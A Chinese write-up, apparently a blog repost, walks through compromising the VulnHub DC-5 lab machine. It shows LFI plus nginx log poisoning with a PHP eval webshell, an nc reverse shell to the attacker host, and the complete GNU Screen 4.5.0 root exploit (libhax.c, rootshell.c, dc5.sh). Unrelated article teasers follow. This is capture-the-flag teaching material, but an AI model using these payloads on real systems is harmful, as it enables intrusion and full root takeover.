DC-5靶场

目录

DC-5靶机:

先进行主机发现:

发现文件包含:

上传一句话木马:

反弹shell:

提权漏洞利用:

下载exp:                                            

第一个文件 libhax.c

第二个文件rootshell.c:

第三个文件 dc5.sh:

flag:


DC-5靶机:

https://www.vulnhub.com/entry/dc-5,314/

靶机和kali都调节至NAT模式,即可开始渗透

先进行主机发现:

arp-scan -l

以下报告中得知靶机ip是192.168.183.148

Interface: eth0, type: EN10MB, MAC: 00:0c:29:a0:2b:e1, IPv4: 192.168.183.138

WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied

WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied

Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)

192.168.183.1   00:50:56:c0:00:08       (Unknown)

192.168.183.2   00:50:56:fc:0d:25       (Unknown)

192.168.183.148 00:0c:29:aa:41:f8       (Unknown)

192.168.183.254 00:50:56:fe:ac:e6       (Unknown)

Nmap扫描192.168.183.148:

nmap -sV -p-  192.168.183.148

得到报告

Nmap scan report for 192.168.183.148

Host is up (0.00061s latency).

Not shown: 65532 closed tcp ports (reset)

PORT      STATE SERVICE VERSION

80/tcp    open  http    nginx 1.6.2

111/tcp   open  rpcbind 2-4 (RPC #100000)

41656/tcp open  status  1 (RPC #100024)

MAC Address: 00:0C:29:AA:41:F8 (VMware)

  • 80/tcp:这个端口标识为开放状态,使用的协议是HTTP。服务器软件是Nginx版本1.6.2。
  • 111/tcp:这个端口标识为开放状态,使用的协议是RPCBIND。RPCBIND是一个用于远程过程调用(RPC)服务的端口映射程序,它能将RPC程序映射到其所使用的端口上。RPC是一种用于不同计算机之间进行通信和调用远程程序的协议。
  • 41656/tcp:这个端口标识为开放状态,使用的协议是STATUS。STATUS是一个RPC服务的标识号,它通常用于获取远程主机的系统状态信息。

发现文件包含:

dirsearch扫描ip后点击几个页面后发现,在/footer.php这个页面每次刷新年份都不一样,

而在/thankyou.php这个页面下的年份刷新有概率刷出不一样的年份,这说明年份信息是动态获取的,thankyou.php页面的年份刷新逻辑可能会从某个动态数据源中获取年份信息,可能这个年份信息就是从外部文件(footer.php)中获取的。这里的年份变化可能会和文件包含或者随机算法代码逻辑有关,这里我们用参数file测试,发现file=footer.php和file=空时,底下会有区别(一个有年份另一个是空)

当file=/etc/passwd时,读取了文件信息,确认有文件包含漏洞

上传一句话木马:

我们从前面的信息收集中已知这是Nginx服务器,Nginx的日志文件通常位于服务器上的/var/log/nginx目录下,但实际的位置可能因操作系统版本、Nginx配置文件等因素而有所不同。

在Ubuntu和Debian Linux系统中,默认的Nginx日志文件路径是/var/log/nginx,其中包括以下文件:

  • access.log:记录所有HTTP请求和响应的详细信息,包括时间、请求方法、URL、HTTP协议版本、响应状态码、响应大小等。
  • error.log:记录Nginx服务器的错误和警告信息,例如无法启动服务、配置文件错误、连接超时等。

在CentOS或RHEL Linux系统中,默认的Nginx日志文件路径是/var/log/nginx,其中包括以下文件:

  • access_log:与Ubuntu相同,记录所有HTTP请求和响应的详细信息。
  • error_log:与Ubuntu相同,记录Nginx服务器的错误和警告信息。

错误日志会将所有的错误信息都存入日志,如果输入一个不存在的文件,那自然也会当做错误信息存入错误日志里面,那么我们就可以把一句话木马当成这个“不存在的文件名”,接机把一句话木马存入到error.log。直接在url栏写木马可能会被编码后再存入,木马就失效了,所以抓包传木马。以下为数据包内容:

GET /thankyou.php?file=<?Php eval($_REQUEST[6]); ?> HTTP/1.1

Host: 192.168.183.148

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Referer: http://192.168.183.148/contact.php

Upgrade-Insecure-Requests: 1

再次访问http://192.168.183.148/thankyou.php?file=/var/log/nginx/error.log即可看到因为文件名不存在,而写入错误日志的一句话木马

蚁剑链接木马,右击数据点击虚拟终端,在虚拟终端里nc反弹shell

反弹shell:

kali开启监听:

nc -lvvp 666

nc反弹:

nc 192.168.183.138 666 -e /bin/bash

进入交互式shell:

python -c "import pty;pty.spawn('/bin/bash')"

查找设置了Suid权限的文件:

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null

在出来的数据里我们能看见screen 4.5.0,Screen是一个在Unix和类Unix系统上运行的终端复用程序。它允许用户在单个物理终端或远程SSH会话中同时运行多个虚拟终端,并能够在后台运行、分离和恢复会话。和DC-4一样,searchsploit搜索一下exp

提权漏洞利用:

searchsploit scree 4.5.0

出现报告,给出两个exp:

---------------------- ---------------------------------

 Exploit Title        |  Path

---------------------- ---------------------------------

GNU Screen 4.5.0 - Lo | linux/local/41152.txt

GNU Screen 4.5.0 - Lo | linux/local/41154.sh

---------------------- ---------------------------------

Shellcodes: No Results

下载exp:                                            

searchsploit -m 41154.sh       

以下报告得知我的exp下载在 /home/kali/41154.sh

  Exploit: GNU Screen 4.5.0 - Local Privilege Escalation

      URL: https://www.exploit-db.com/exploits/41154

     Path: /usr/share/exploitdb/exploits/linux/local/41154.sh

    Codes: N/A

 Verified: True

File Type: Bourne-Again shell script, ASCII text executable

Copied to: /home/kali/41154.sh

然后根据指示操作:

第一个文件 libhax.c

vim libhax.c 

然后复制以下内容进去:

#include <stdio.h>

#include <sys/types.h>

#include <unistd.h>

__attribute__ ((__constructor__))

void dropshell(void){

    chown("/tmp/rootshell", 0, 0);

    chmod("/tmp/rootshell", 04755);

    unlink("/etc/ld.so.preload");

    printf("[+] done!\n");

}

单独保存并编译,成功会生成libhax.so文件 :

gcc -fPIC -shared -ldl -o libhax.so libhax.c

第二个文件rootshell.c:

vim rootshell.c

然后复制以下内容进去:

#include <stdio.h>

#include <unistd.h>

int main(void){

    setuid(0);

    setgid(0);

    seteuid(0);

    setegid(0);

    execvp("/bin/sh",  NULL);

}

 执行以下命令,成功会生成rootshell文件:

gcc -o rootshell rootshell.c   

第三个文件 dc5.sh:

vim dc5.sh

复制以下内容进去:

echo "[+] Now we create our /etc/ld.so.preload file..."

cd /etc

umask 000 # because

screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed

echo "[+] Triggering..."

screen -ls # screen itself is setuid, so...

/tmp/rootshell

ls查看三个文件是否存在

由于我的蚁剑就在kali里,所以我在靶机后台的/tmp里直接上传这三个文件(单击右键能看见文件上传选项),如果不在/tmp上传会上传失败,如果蚁剑在物理机,就把三个文件拖出去进行相同操作

上传成功后回到交互式shell这里,先到/tmp目录下

cd /

修改dc5.sh权限:

chmod +x dc5.sh

运行dc5.sh

dc5.sh

当出现#号时即为提权成功,whoami能看到root

flag:

flag在/root下

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/230957.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

电子电器架构( E/E) 演化 —— 大算力

我是穿拖鞋的汉子,魔都中坚持长期主义的汽车电子工程师。 老规矩,分享一段喜欢的文字,避免自己成为高知识低文化的工程师: 屏蔽力是信息过载时代一个人的特殊竞争力,任何消耗你的人和事,多看一眼都是你的不对。非必要不费力证明自己,无利益不试图说服别人,是精神上的节…

PowerShell实战:Get-Content命令使用详解

目录 一、Get-Content介绍 二、语法格式 三、参数详解 四、使用案例 4.1 获取文件内容 4.2 获取文件前三行内容 4.3 获取文件最后三行内容 4.4通过管道方式获取最后两行内容 4.5使用逗号作为分隔符 4.6 Filter方式读取多个文件 4.7 Include方式读取多个文件 一、Get-Content介绍…

Oracle VM VirtualBox使用——备赛笔记——2024全国职业院校技能大赛“大数据应用开发”赛项——任务2:离线数据处理

简述&#xff1a; Oracle VM VirtualBox是一款开源虚拟机软件&#xff0c;由德国Innotek公司开发&#xff0c;后被Sun Microsystems公司收购&#xff0c;并最终被甲骨文公司收购。它支持在Windows、Mac OS X、Linux、OpenBSD、Solaris、IBM OS2甚至Android等操作系统上创建虚拟…

真正的软件测试常见的面试题,到底有哪些?

01、您所熟悉的测试用例设计方法都有哪些&#xff1f;请分别以具体的例子来说明这些方法在测试用例设计工作中的应用。 答&#xff1a;有黑盒和白盒两种测试种类&#xff0c;黑盒有等价类划分法&#xff0c;边界分析法&#xff0c;因果图法和错误猜测法。白盒有逻辑覆盖法&…

PostgreSQL的安装、配置与使用指南

文章目录 一、介绍二、安装1、下载安装2、验证 三、配置1、远程连接配置1&#xff09;配置postgresql.conf2&#xff09;配置pg_hba.conf3&#xff09;重启 2、配置数据库的日志 四、图形化界面1、pgAdmin2、Navicat 一、介绍 PostgreSQL是一个功能强大的 开源 的关系型数据库…

分类预测 | Matlab实现AOA-SVM算术优化支持向量机的数据分类预测【23年新算法】

分类预测 | Matlab实现AOA-SVM算术优化支持向量机的数据分类预测【23年新算法】 目录 分类预测 | Matlab实现AOA-SVM算术优化支持向量机的数据分类预测【23年新算法】分类效果基本描述程序设计参考资料 分类效果 基本描述 1.Matlab实现AOA-SVM算术优化支持向量机的数据分类预测…

5.docker容器及相关命令

docker中的容器实际上就是宿主机中的一个进程 目录 1 创建并启动容器 docker run 1.1 如果没有指定的镜像的话&#xff0c;docker会尝试从源拉取 1.2 给容器起名字 --name 1.3 交互方式启动(-i)与弹出客户端(-t) 1.4 指定端口 -p 1.5 自动分配端口 -P 1.6 后台运…

element plus 日期范围 自定义内容

问题&#xff1a; 按照官网上的自定义内容示例&#xff0c;修改日期选择器没有问题&#xff0c;如果修改日期范围选择器&#xff0c;修改后会丢失日期范围选择时的样式。 解决&#xff1a; 从F12中不难看出日期范围的选择样式来自于.el-date-table-cell 而示例中写的是.cell&…

文件系统和软硬链接(下)

在这里我们首先学习两个新的知识点第一个&#xff1a; 第二个&#xff1a; 下面我们再来理解思考下面的四个问题&#xff1a; 我们首先来解决第一个问题如果新建一个文件Linux系统会做什么呢&#xff1f; 新建文件&#xff0c;系统会做什么 当我们要新建一个文件的时候&#…

Shell三剑客:sed(命令)二

一、插入命令&#xff1a;i&#xff08;之前&#xff09; [rootlocalhost ~]# sed -r 2i aaaaaaa passwd.txt root:x:0:0:root:/root:/bin/bash aaaaaaa bin:x:1:1:bin:/bin:/sbin/nologin[rootlocalhost ~]# sed -r 2i aaaaaaa\ > bbb\ > ccc passwd.txt root:x:0:0:r…

vue3中ref及reactive的说明

目录 1.响应式说明 2.vue3的ref及reactive的使用 3.reactive响应式失效问题 4.总结 1.响应式说明 vue的响应式是vue框架中的核心概念之一&#xff0c;它是指当数据发生变化时&#xff0c;vue能够自动更新视图。vue2的响应式是基于Object.defineProperty进行实现的。 当你把…

Spring Cloud:Eureka

目录 一、Eureka介绍 1.Eureka的作用 2.总结 二.搭建Eureka服务端步骤 1.导入maven依赖 2.编写启动类&#xff0c;添加EnableEurekaServer注解 3.添加application.yml文件&#xff0c;编写下面的配置&#xff1a; 三.注册Eureka客户端服务提供者&#xff08;user-servic…

【每日OJ—有效的括号(栈)】

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言 1、有效的括号题目&#xff1a; 1.1方法讲解&#xff1a; 1.2代码实现&#xff1a; 总结 前言 世上有两种耀眼的光芒&#xff0c;一种是正在升起的太阳&#…

系统架构设计师教程(五)软件工程基础知识

软件工程基础知识 5.1 软件工程5.1.1 软件工程定义5.1.2 软件过程模型5.1.3 敏捷模型敏捷开发的特点敏捷方法的核心思想主要敏捷方法简介 5.1.4 统一过程模型 (RUP)RUP的生命周期RUP中的核心概念RUP的特点 5.1.5 软件能力成熟度模型 5.2 需求工程5.2.1 需求获取需求获取的基本步…

HashMap扩容机制详解

目录 1. 扩容的触发条件 2. 扩容的具体步骤 2.1 计算新的容量 2.2 创建新的桶数组 2.3 将元素重新分配到新的桶数组中 2.4 更新容量和阈值 3. 与并发性能的关系 4. 扩容的性能优化 5. 总结 HashMap是Java中常用的数据结构之一&#xff0c;用于存储键值对。在HashMap内…

sql 数据类型注入+tamper

数据类型 数字型 0-9 查询语句&#xff1a; $sql"select * from sy_guestbook where id$i"; 字符型 a-z 中文 标点符号 加入了单引号 查询语句&#xff1a; $sql"select * from sy_guestbook where gTpl$g"; simple order by 16--select * from sy_g…

物联网在能源管理中的应用——青创智通工业物联网解决方案

随着全球能源资源的日益紧张和环境问题的日益突出&#xff0c;能源管理已成为当今社会的重要议题。物联网技术的快速发展为能源管理提供了新的解决方案。本文将介绍物联网在能源管理中的应用及其优势。 一、物联网在能源管理中的应用 1. 智能电网 智能电网是物联网在能源管理中…

Android 生物识别:构建一个存储用户敏感信息的安全应用

前言 在当今数字时代&#xff0c;随着科技的不断发展&#xff0c;用户敏感信息尤为重要。从指纹到面部识别&#xff0c;再到虹膜扫描&#xff0c;生物识别技术为我们带来了便捷性和安全性。本次将构建一个简易的账户信息应用&#xff0c;运用生物识别技术来提高信息的安全性。…

数据结构之预习作业:排序(v1)

看视频&#xff0c;回答以下问题&#xff1a; 1.系统提到了哪些排序场景&#xff1f;除此之外&#xff0c;你还知道哪些信息系统有排序&#xff1f; 2.什么样的排序方法是稳定的&#xff1f;请举例说明 3.插入类排序分为哪几类&#xff1f; 4.若对n个元素进行直接插入排序&…

滑动窗口(一)

滑动窗口 什么是滑动窗口算法&#xff1f;通俗的来讲就是 “同向双指针” &#xff0c;当一组数据的规律含有单调性的时候&#xff0c;就可以使用下面这套逻辑来优化暴力解法。 当两个指针同向移动的时候&#xff0c;类似于一个窗口在滑动。使用于在连续序列里找特殊的子串、…